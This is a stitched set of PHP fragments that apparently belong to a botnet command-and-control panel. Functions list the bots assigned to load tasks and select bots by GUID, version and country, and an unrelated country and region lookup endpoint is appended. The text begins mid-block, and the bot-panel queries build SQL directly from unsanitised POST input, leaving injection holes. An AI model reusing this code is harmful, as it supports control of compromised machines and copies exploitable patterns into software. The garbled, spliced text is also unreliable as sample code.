function TaskGetBotInfo($tid) { global $db; $sql = "SELECT id_bot, guid_bot, upStatus, name_country, upId, upStartTime FROM loads_t, bots_t, city_t, country_t \n\t\t\t\tWHERE fk_bot_id=id_bot AND fk_task_id={$tid} \n\t\t\t\tAND bots_t.fk_city_bot = city_t.id_city AND country_t.id_country = city_t.fk_country_city"; $res = $db->query($sql); $countries = GetCountries(); if ($db->affected_rows && is_object($res)) { $RES = array(); while ($row = $res->fetch_array()) { $cname = $row['name_country']; $cc = $countries[$cname]; $row['CCODE'] = $cc; $RES[] = $row; } return $RES; } return 0; }
} else { $sqlp2 = ""; } if (isset($_POST['bot_ver']) && strlen($_POST['bot_ver']) > 0) { $bot_ver = $_POST['bot_ver']; $sqlp2 .= " AND ver_bot like '%{$bot_ver}%' "; } if (isset($_POST['fk_country'])) { $sqlp3 = " AND ( FALSE "; foreach ($_POST['fk_country'] as $key => $value) { $sqlp3 .= " OR country_t.id_country = {$key}"; } $sqlp3 .= " )"; } else { $sqlp3 = ''; } $sql = "SELECT guid_bot, id_bot, name_country FROM bots_t, city_t, country_t WHERE guid_bot LIKE '%{$bot_guid}%' \n\t\t\t\tAND bots_t.fk_city_bot = city_t.id_city AND country_t.id_country = city_t.fk_country_city \n\t\t\t\t{$sqlp2} {$sqlp3} LIMIT {$limit}"; $res = $db->query($sql); if ($db->affected_rows && is_object($res)) { $RES = array(); $countries = GetCountries(); while ($row = $res->fetch_array()) { $cname = $row['name_country']; $cc = $countries[$cname]; $row['CCODE'] = $cc; $RES[] = $row; } $smarty->assign('BOTS', $RES); } } $smarty->display("select_bots.tpl");
<?php header('Content-Type: text/html; charset=utf-8'); /// set the content charset to utf-8 for php error_reporting(E_ALL); ini_set('display_errors', '1'); session_start(); $temp = $_POST["param"]; $temp = str_replace("[", "", $temp); $temp = str_replace("]", "", $temp); //echo $temp; $param = json_decode($temp); $ordr = (int) $param->order; switch ($ordr) { case 1: GetCountries(); break; case 2: Getgovernates($param->country); break; case 3: GetRegions($param->country, $param->governate); break; case 4: InsertCountry($param); break; case 5: InsertGovernate($param); break; case 6: InsertRegion($param); break;